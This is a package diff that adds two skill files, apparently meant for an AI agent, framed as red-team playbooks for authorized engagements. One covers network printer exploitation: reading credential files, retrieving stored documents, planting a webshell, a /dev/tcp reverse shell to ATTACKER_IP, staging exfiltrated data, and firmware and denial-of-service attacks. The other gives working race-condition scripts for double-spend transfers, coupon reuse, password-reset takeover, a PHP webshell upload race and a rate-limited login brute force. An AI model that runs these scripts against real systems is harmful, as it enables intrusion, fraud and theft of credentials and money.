rtexit-method 0.1.6 → 0.1.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,213 @@
1
+ ---
2
+ name: rt-printer-attacks
3
+ description: "Network printer exploitation skill for authorized engagements. PRET (Printer Exploitation Toolkit) for PostScript and PJL attacks, printer credential extraction, stored document retrieval, printer as network pivot point, SNMP community string abuse, IPP exploitation, printer firmware attacks, and using printers as covert C2 storage. Use when network printers are in scope or when pivoting through printer VLANs."
4
+ ---
5
+
6
+ # rt-printer-attacks — Network Printer Exploitation
7
+
8
+ ## Overview
9
+
10
+ Network printers are overlooked in most security assessments but are high-value targets: they store copies of every printed document, often have unpatched firmware, sit on multiple VLANs, have weak or no authentication, and can be used as persistent storage for attacker data. Most enterprise printers speak PostScript, PJL, and PCL — each with exploitable features.
11
+
12
+ ---
13
+
14
+ ## Phase 1 — Discovery & Fingerprinting
15
+
16
+ ```bash
17
+ # Printer-specific ports
18
+ nmap -sV -p 9100,515,631,161,443,80 PRINTER_IP
19
+ # 9100 = RAW printing (JetDirect)
20
+ # 515 = LPD/LPR
21
+ # 631 = IPP (Internet Printing Protocol)
22
+ # 161 = SNMP
23
+ # 80 = Web management UI
24
+
25
+ # Discover printers on network
26
+ nmap -p 9100 --open 10.10.10.0/24
27
+ nmap --script printer-info 10.10.10.0/24
28
+
29
+ # SNMP community string (often 'public')
30
+ snmpwalk -v2c -c public PRINTER_IP .1.3.6.1.2.1.43
31
+ # Returns: printer model, serial, status, paper level, etc.
32
+
33
+ # Web UI fingerprinting
34
+ curl http://PRINTER_IP/
35
+ # HP: /hp/device/index.htm
36
+ # Xerox: /wps/mydoc.html
37
+ # Canon: /English/pages/top.htm
38
+ # Ricoh: /web/entry.html
39
+ ```
40
+
41
+ ---
42
+
43
+ ## Phase 2 — PRET (Printer Exploitation Toolkit)
44
+
45
+ ```bash
46
+ # PRET = Python tool for attacking PostScript, PJL, and PCL printers
47
+ git clone https://github.com/RUB-NDS/PRET
48
+ pip3 install -r PRET/requirements.txt
49
+
50
+ # Connect via RAW port (9100) — most common
51
+ python3 PRET/pret.py PRINTER_IP pjl
52
+ python3 PRET/pret.py PRINTER_IP postscript
53
+ python3 PRET/pret.py PRINTER_IP pcl
54
+
55
+ # PJL attacks (Printer Job Language)
56
+ python3 PRET/pret.py PRINTER_IP pjl
57
+ # Once connected:
58
+ info variables # Printer config variables
59
+ info status # Current status
60
+ info id # Device ID and firmware
61
+
62
+ # Read filesystem
63
+ ls / # List root filesystem
64
+ ls /etc/ # Config files
65
+ cat /etc/shadow # Credential files (some printers run Linux)
66
+
67
+ # Get stored jobs / documents
68
+ ls /jobs/ # Pending print jobs
69
+ get /jobs/001.ps # Download print job (may contain sensitive docs)
70
+
71
+ # Set config (denial of service or persistence)
72
+ set TIMEOUT=0 # Brick printer until power cycle
73
+
74
+ # Filesystem write
75
+ put webshell.php /var/www/html/ # If printer runs web server
76
+
77
+ # PostScript attacks
78
+ python3 PRET/pret.py PRINTER_IP postscript
79
+ # Execute PostScript code
80
+ # Read filesystem via PostScript file operations
81
+ exec "(cat /etc/passwd) run"
82
+
83
+ # SSRF via PostScript
84
+ exec "(http://169.254.169.254/) run"
85
+ ```
86
+
87
+ ---
88
+
89
+ ## Phase 3 — Stored Document Retrieval
90
+
91
+ ```bash
92
+ # Many printers store copies of documents
93
+ # HR docs, financial reports, executive emails all pass through
94
+
95
+ # Via PJL
96
+ python3 PRET/pret.py PRINTER_IP pjl
97
+ ls /savedjobs/
98
+ get /savedjobs/confidential_report.pdf
99
+
100
+ # Via web UI (if no auth)
101
+ curl http://PRINTER_IP/hp/device/ScannerImages/
102
+ # Ricoh stored docs
103
+ curl http://PRINTER_IP/web/entry.html?func=FUNC&page=PrintFunc&subPage=JobList
104
+
105
+ # IPP (Internet Printing Protocol) — get job list
106
+ curl -X POST http://PRINTER_IP:631/printers/HP_LaserJet \
107
+ -H "Content-Type: application/ipp" \
108
+ --data-binary @get_jobs_request.ipp
109
+
110
+ # SNMP — get print job info
111
+ snmpwalk -v2c -c public PRINTER_IP .1.3.6.1.2.1.43.11
112
+ ```
113
+
114
+ ---
115
+
116
+ ## Phase 4 — Credential Extraction
117
+
118
+ ```bash
119
+ # Printers store LDAP, email, SMB credentials for scanning features
120
+
121
+ # Via web UI (no auth — very common)
122
+ curl http://PRINTER_IP/hp/device/ldap_settings.xml
123
+ curl http://PRINTER_IP/config.xml
124
+ # May contain: LDAP bind password, email server credentials, SMB share creds
125
+
126
+ # Via SNMP
127
+ snmpwalk -v2c -c public PRINTER_IP .1.3.6.1.4.1.11.2.3.9.4.2
128
+ # HP MIB: contains email/LDAP config
129
+
130
+ # Via PJL filesystem read
131
+ python3 PRET/pret.py PRINTER_IP pjl
132
+ cat /etc/ldap.conf
133
+ cat /var/spool/samba/credentials.txt
134
+ ls /etc/
135
+ ```
136
+
137
+ ---
138
+
139
+ ## Phase 5 — Printer as Network Pivot
140
+
141
+ ```bash
142
+ # Printers often sit on multiple VLANs:
143
+ # - Office VLAN (users connect to print)
144
+ # - Server VLAN (for file scanning)
145
+ # - Management VLAN
146
+ # Use printer as proxy into otherwise-inaccessible networks
147
+
148
+ # If printer runs Linux (HP, Xerox, Ricoh often do):
149
+ python3 PRET/pret.py PRINTER_IP pjl
150
+ # Check if netcat/ncat available
151
+ exec "which nc ncat netcat"
152
+
153
+ # Reverse shell from printer
154
+ exec "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
155
+
156
+ # Once you have shell on printer:
157
+ ip addr show # Check all interfaces — printer may be on 2-3 networks
158
+ ip route # Check routing table
159
+
160
+ # Scan internal networks reachable from printer
161
+ for i in $(seq 1 254); do
162
+ ping -c1 -W1 10.20.0.$i &>/dev/null && echo "UP: 10.20.0.$i"
163
+ done
164
+
165
+ # Printer as data drop (covert storage)
166
+ # Upload stolen data to printer filesystem
167
+ python3 PRET/pret.py PRINTER_IP pjl
168
+ put exfil_data.zip /tmp/
169
+ # Data persists until printer is power cycled or storage wiped
170
+ ```
171
+
172
+ ---
173
+
174
+ ## Phase 6 — DoS & Firmware Attacks
175
+
176
+ ```bash
177
+ # Infinite print loop
178
+ python3 PRET/pret.py PRINTER_IP pjl
179
+ flood # Sends endless print jobs
180
+
181
+ # Printer crash via malformed PJL
182
+ echo -e '\x1b%-12345X@PJL \r\n@PJL SET SERVICEMODE=HPBOISEID\r\n' | nc PRINTER_IP 9100
183
+
184
+ # Firmware downgrade (if old vulnerable firmware available)
185
+ # HP: upload .bdl firmware file via web UI
186
+ curl -X POST http://PRINTER_IP/hp/device/update \
187
+ -F "firmware=@old_vulnerable_firmware.bdl"
188
+
189
+ # Change admin password via SNMP
190
+ snmpset -v2c -c private PRINTER_IP \
191
+ .1.3.6.1.4.1.11.2.3.9.4.2.1.1.3.3.0 s "newpassword"
192
+ ```
193
+
194
+ ---
195
+
196
+ ## Skill Levels
197
+
198
+ **BEGINNER:** PRET PJL connection + info commands + web UI default credential testing
199
+
200
+ **INTERMEDIATE:** Stored document retrieval + credential extraction from config files + SNMP enumeration
201
+
202
+ **ADVANCED:** Printer filesystem access + reverse shell from printer + pivot into secondary VLANs
203
+
204
+ **EXPERT:** Firmware manipulation + printer as persistent C2 storage + cross-VLAN attacks via printer
205
+
206
+ ---
207
+
208
+ ## References
209
+
210
+ - PRET: https://github.com/RUB-NDS/PRET
211
+ - Printer Hacking research (RUB): https://www.nds.rub.de/research/printer-hacking/
212
+ - SNMP printer MIBs: http://www.mibdepot.com
213
+ - MITRE T1012: https://attack.mitre.org/techniques/T1012/
@@ -0,0 +1,357 @@
1
+ ---
2
+ name: rt-race-conditions
3
+ description: "Race condition and concurrency attack skill for authorized engagements. TOCTOU (Time-of-Check-Time-of-Use) exploitation, HTTP/2 single-packet race attacks, API rate limit and balance bypass, coupon/voucher reuse via parallel requests, account takeover via concurrent password reset, file upload race conditions, Burp Suite Turbo Intruder for single-packet attacks, and limit-one bypass techniques. Use when testing web applications, APIs, or any system with concurrent request handling."
4
+ ---
5
+
6
+ # rt-race-conditions — Race Conditions & Concurrency Attacks
7
+
8
+ ## Overview
9
+
10
+ Race conditions occur when application behavior depends on the timing of concurrent operations. A window of time between a check and its corresponding action (TOCTOU) allows attackers to exploit the gap. Modern HTTP/2 makes these attacks more reliable by sending multiple requests in a single TCP packet — eliminating network jitter.
11
+
12
+ **High-value targets:**
13
+ - Financial transactions (double-spend, balance manipulation)
14
+ - Coupon/promo code systems (use once → use many times)
15
+ - Account limits (free tier bypass, rate limit evasion)
16
+ - Password reset / email verification flows
17
+ - File operations (symlink attacks, upload processing)
18
+
19
+ ---
20
+
21
+ ## Phase 1 — Identify Race Condition Candidates
22
+
23
+ ```bash
24
+ # Patterns that suggest race condition vulnerabilities:
25
+
26
+ # 1. "Use once" operations
27
+ # - Promo codes / coupons
28
+ # - Gift card redemption
29
+ # - One-time tokens (password reset, email verify)
30
+ # - Referral bonuses
31
+
32
+ # 2. Limit-based operations
33
+ # - "Maximum 1 per account"
34
+ # - Rate-limited API calls
35
+ # - Free tier resource limits
36
+ # - Transfer limits
37
+
38
+ # 3. Check-then-act patterns
39
+ # if balance >= amount: deduct(amount) ← race window here
40
+ # if coupon_used == false: apply(coupon) ← race window here
41
+ # if slot_available: reserve(slot) ← race window here
42
+
43
+ # 4. File/resource operations
44
+ # Upload → validate → move ← race in validate step
45
+ # Create temp file → process → delete ← TOCTOU
46
+
47
+ # Test tool: Burp Suite Repeater / Turbo Intruder
48
+ # Browser: DevTools Network tab — look for state-changing requests
49
+ ```
50
+
51
+ ---
52
+
53
+ ## Phase 2 — HTTP/2 Single-Packet Race Attack
54
+
55
+ ```bash
56
+ # HTTP/2 allows multiple requests in one TCP packet
57
+ # All requests arrive at server simultaneously → eliminates network jitter
58
+ # Makes race window exploitation much more reliable
59
+
60
+ # Burp Suite — single-packet attack (built-in since v2023.9)
61
+ # 1. Capture the target request in Proxy
62
+ # 2. Send to Repeater
63
+ # 3. Create a group of identical requests (right-click → Add to group)
64
+ # 4. Set connection: Send group in parallel (single-packet attack)
65
+ # 5. Send → all requests hit server simultaneously
66
+
67
+ # Turbo Intruder (Burp extension) — more control
68
+ # Extensions → BApp Store → Turbo Intruder
69
+
70
+ # race_single_packet.py (Turbo Intruder script)
71
+ def queueRequests(target, wordlists):
72
+ engine = RequestEngine(endpoint=target.endpoint,
73
+ concurrentConnections=1,
74
+ requestsPerConnection=50, # 50 requests in one packet
75
+ pipeline=True)
76
+ for i in range(50):
77
+ engine.queue(target.req)
78
+
79
+ def handleResponse(req, interesting):
80
+ table.add(req)
81
+
82
+ # Python requests — parallel race
83
+ import requests, threading, time
84
+
85
+ url = "https://target.com/api/redeem-coupon"
86
+ headers = {"Cookie": "session=YOUR_SESSION", "Content-Type": "application/json"}
87
+ data = '{"coupon_code": "SAVE50"}'
88
+
89
+ results = []
90
+ def send_request():
91
+ r = requests.post(url, headers=headers, data=data)
92
+ results.append(r.status_code)
93
+
94
+ # Launch 20 threads simultaneously
95
+ threads = [threading.Thread(target=send_request) for _ in range(20)]
96
+
97
+ # Synchronize start — all fire at same moment
98
+ barrier = threading.Barrier(20)
99
+ def synchronized_send():
100
+ barrier.wait() # Wait for all threads to be ready
101
+ send_request()
102
+
103
+ threads = [threading.Thread(target=synchronized_send) for _ in range(20)]
104
+ [t.start() for t in threads]
105
+ [t.join() for t in threads]
106
+ print(f"Results: {results}")
107
+ # Multiple 200 responses = race condition exploited
108
+ ```
109
+
110
+ ---
111
+
112
+ ## Phase 3 — Balance / Financial Race Conditions
113
+
114
+ ```bash
115
+ # Double-spend attack: transfer money twice before balance updates
116
+
117
+ # Scenario: Transfer $100 from account with $100 balance
118
+ # Check: balance >= 100? YES
119
+ # [RACE WINDOW — send second request here]
120
+ # Deduct: balance = 0
121
+
122
+ # Both requests check balance = 100 → both pass → balance goes negative
123
+
124
+ python3 << 'EOF'
125
+ import requests, threading
126
+
127
+ session = requests.Session()
128
+ session.cookies.set("session", "YOUR_SESSION_TOKEN")
129
+
130
+ url = "https://bank.target.com/api/transfer"
131
+ payload = {"to_account": "ATTACKER_ACCOUNT", "amount": 100}
132
+
133
+ def transfer():
134
+ r = session.post(url, json=payload)
135
+ print(f"Status: {r.status_code} | Response: {r.text[:100]}")
136
+
137
+ # Synchronize 10 transfer requests
138
+ barrier = threading.Barrier(10)
139
+ def sync_transfer():
140
+ barrier.wait()
141
+ transfer()
142
+
143
+ threads = [threading.Thread(target=sync_transfer) for _ in range(10)]
144
+ [t.start() for t in threads]
145
+ [t.join() for t in threads]
146
+ EOF
147
+
148
+ # Same technique for:
149
+ # - Withdrawing more than balance
150
+ # - Applying a discount multiple times
151
+ # - Claiming a reward multiple times
152
+ ```
153
+
154
+ ---
155
+
156
+ ## Phase 4 — Coupon / Promo Code Bypass
157
+
158
+ ```bash
159
+ # One-use coupon exploited multiple times
160
+
161
+ # Step 1: Identify the redeem endpoint
162
+ # POST /api/cart/apply-coupon {"code": "SAVE50"}
163
+
164
+ # Step 2: Add item to cart, don't redeem yet
165
+ # Step 3: Send 20+ parallel redemption requests
166
+
167
+ python3 << 'EOF'
168
+ import requests, threading
169
+
170
+ BASE = "https://shop.target.com"
171
+ SESSION = "your_session_cookie"
172
+
173
+ def apply_coupon():
174
+ r = requests.post(f"{BASE}/api/cart/apply-coupon",
175
+ json={"code": "SAVE50"},
176
+ cookies={"session": SESSION})
177
+ print(r.status_code, r.json().get("discount", ""))
178
+
179
+ # Fire 20 simultaneous requests
180
+ barrier = threading.Barrier(20)
181
+ def go():
182
+ barrier.wait()
183
+ apply_coupon()
184
+
185
+ threads = [threading.Thread(target=go) for _ in range(20)]
186
+ [t.start() for t in threads]
187
+ [t.join() for t in threads]
188
+
189
+ # Check cart total — likely applied multiple times
190
+ r = requests.get(f"{BASE}/api/cart", cookies={"session": SESSION})
191
+ print("Cart total:", r.json().get("total"))
192
+ EOF
193
+ ```
194
+
195
+ ---
196
+
197
+ ## Phase 5 — Account Takeover via Concurrent Password Reset
198
+
199
+ ```bash
200
+ # Some apps generate short/predictable tokens
201
+ # Race: request multiple resets → multiple valid tokens → brute force shorter
202
+
203
+ # More common: email-based OTP reuse
204
+ # Reset token sent → token valid for 10 min → can be reused multiple times
205
+ # (No invalidation on first use = not a race, just a bug)
206
+
207
+ # Actual race: some apps invalidate token only AFTER successful reset
208
+ # Two simultaneous reset requests with same token:
209
+ # Request 1: validate(token) → valid → reset password → invalidate(token)
210
+ # Request 2: validate(token) → valid (check happened before invalidation)
211
+ # Both succeed → control account
212
+
213
+ python3 << 'EOF'
214
+ import requests, threading
215
+
216
+ token = "RESET_TOKEN_FROM_EMAIL"
217
+ new_pass_1 = "Attacker1!"
218
+ new_pass_2 = "Attacker2!"
219
+
220
+ def reset(new_password):
221
+ r = requests.post("https://target.com/reset-password",
222
+ json={"token": token, "password": new_password})
223
+ print(f"Password {new_password}: {r.status_code} {r.text[:50]}")
224
+
225
+ barrier = threading.Barrier(2)
226
+ t1 = threading.Thread(target=lambda: [barrier.wait(), reset(new_pass_1)])
227
+ t2 = threading.Thread(target=lambda: [barrier.wait(), reset(new_pass_2)])
228
+ t1.start(); t2.start()
229
+ t1.join(); t2.join()
230
+ # If both 200 → token used twice → race confirmed
231
+ EOF
232
+ ```
233
+
234
+ ---
235
+
236
+ ## Phase 6 — File Upload Race Conditions
237
+
238
+ ```bash
239
+ # Upload → validate → move to final location
240
+ # Race window: between upload and validation
241
+ # If validation only checks file after move → bypass possible
242
+
243
+ # Scenario: app uploads file, validates it's an image, then serves it
244
+ # Race: upload PHP shell → immediately request it before validation deletes it
245
+
246
+ python3 << 'EOF'
247
+ import requests, threading, time
248
+
249
+ url_upload = "https://target.com/upload"
250
+ url_exec = "https://target.com/uploads/shell.php?cmd=id"
251
+ session_cookie = {"session": "YOUR_SESSION"}
252
+
253
+ shell_content = b"<?php system($_GET['cmd']); ?>"
254
+
255
+ def upload():
256
+ files = {"file": ("shell.php", shell_content, "image/jpeg")}
257
+ return requests.post(url_upload, files=files, cookies=session_cookie)
258
+
259
+ def execute():
260
+ for _ in range(100): # Keep trying during race window
261
+ r = requests.get(url_exec, cookies=session_cookie)
262
+ if "uid=" in r.text:
263
+ print("RCE:", r.text[:100])
264
+ return
265
+ time.sleep(0.01)
266
+
267
+ # Upload and immediately try to execute in parallel
268
+ t_upload = threading.Thread(target=upload)
269
+ t_exec = threading.Thread(target=execute)
270
+ t_exec.start() # Start execution attempts first
271
+ t_upload.start() # Then upload
272
+ t_upload.join(); t_exec.join()
273
+ EOF
274
+ ```
275
+
276
+ ---
277
+
278
+ ## Phase 7 — TOCTOU in File System
279
+
280
+ ```bash
281
+ # Time-of-Check-Time-of-Use on filesystem
282
+ # Scenario: app checks if path is safe, then opens it
283
+ # Race: replace safe path with symlink to /etc/passwd between check and open
284
+
285
+ # Classic symlink attack
286
+ mkdir /tmp/race
287
+ ln -s /etc/passwd /tmp/race/target # Create symlink
288
+
289
+ # If app does:
290
+ # if os.path.isfile("/tmp/user_upload"): ← CHECK
291
+ # process("/tmp/user_upload") ← USE (could be symlink now)
292
+
293
+ # Race script
294
+ while true; do
295
+ rm -f /tmp/user_upload
296
+ cp benign_file.txt /tmp/user_upload # Safe file (passes check)
297
+ rm -f /tmp/user_upload
298
+ ln -s /etc/passwd /tmp/user_upload # Symlink (used in action)
299
+ done &
300
+
301
+ # Trigger the vulnerable app operation repeatedly
302
+ # If successful → app reads /etc/passwd instead of user file
303
+ ```
304
+
305
+ ---
306
+
307
+ ## Phase 8 — Rate Limit Bypass
308
+
309
+ ```bash
310
+ # Rate limits often implemented per-IP or per-session
311
+ # Race can send burst before counter increments
312
+
313
+ # Identify rate-limited endpoint
314
+ # POST /api/login → 5 attempts/min → locked
315
+
316
+ # Bypass: send all attempts simultaneously before counter processes them
317
+ python3 << 'EOF'
318
+ import requests, threading
319
+
320
+ passwords = ["Summer2024!", "Password1!", "Welcome1!", "Admin123!",
321
+ "Company2024!", "Spring2024!", "Winter2024!", "Fall2024!"]
322
+
323
+ def try_password(p):
324
+ r = requests.post("https://target.com/login",
325
+ json={"username": "admin", "password": p},
326
+ headers={"X-Forwarded-For": f"1.2.3.{hash(p) % 255}"})
327
+ if "invalid" not in r.text.lower():
328
+ print(f"SUCCESS: {p}")
329
+
330
+ barrier = threading.Barrier(len(passwords))
331
+ threads = [threading.Thread(target=lambda p=p: [barrier.wait(), try_password(p)])
332
+ for p in passwords]
333
+ [t.start() for t in threads]
334
+ [t.join() for t in threads]
335
+ EOF
336
+ ```
337
+
338
+ ---
339
+
340
+ ## Skill Levels
341
+
342
+ **BEGINNER:** Burp Repeater parallel group → coupon/promo bypass → observe multiple success responses
343
+
344
+ **INTERMEDIATE:** Turbo Intruder single-packet attack → balance manipulation → password reset token reuse
345
+
346
+ **ADVANCED:** File upload race → TOCTOU symlink → rate limit burst bypass with IP rotation
347
+
348
+ **EXPERT:** Custom HTTP/2 single-packet tooling → distributed race across multiple sessions → chaining with other vulns
349
+
350
+ ---
351
+
352
+ ## References
353
+
354
+ - PortSwigger Race Conditions: https://portswigger.net/web-security/race-conditions
355
+ - Turbo Intruder: https://github.com/PortSwigger/turbo-intruder
356
+ - HTTP/2 Single Packet Attack paper: https://portswigger.net/research/smashing-the-state-machine
357
+ - MITRE T1499.004: https://attack.mitre.org/techniques/T1499/004/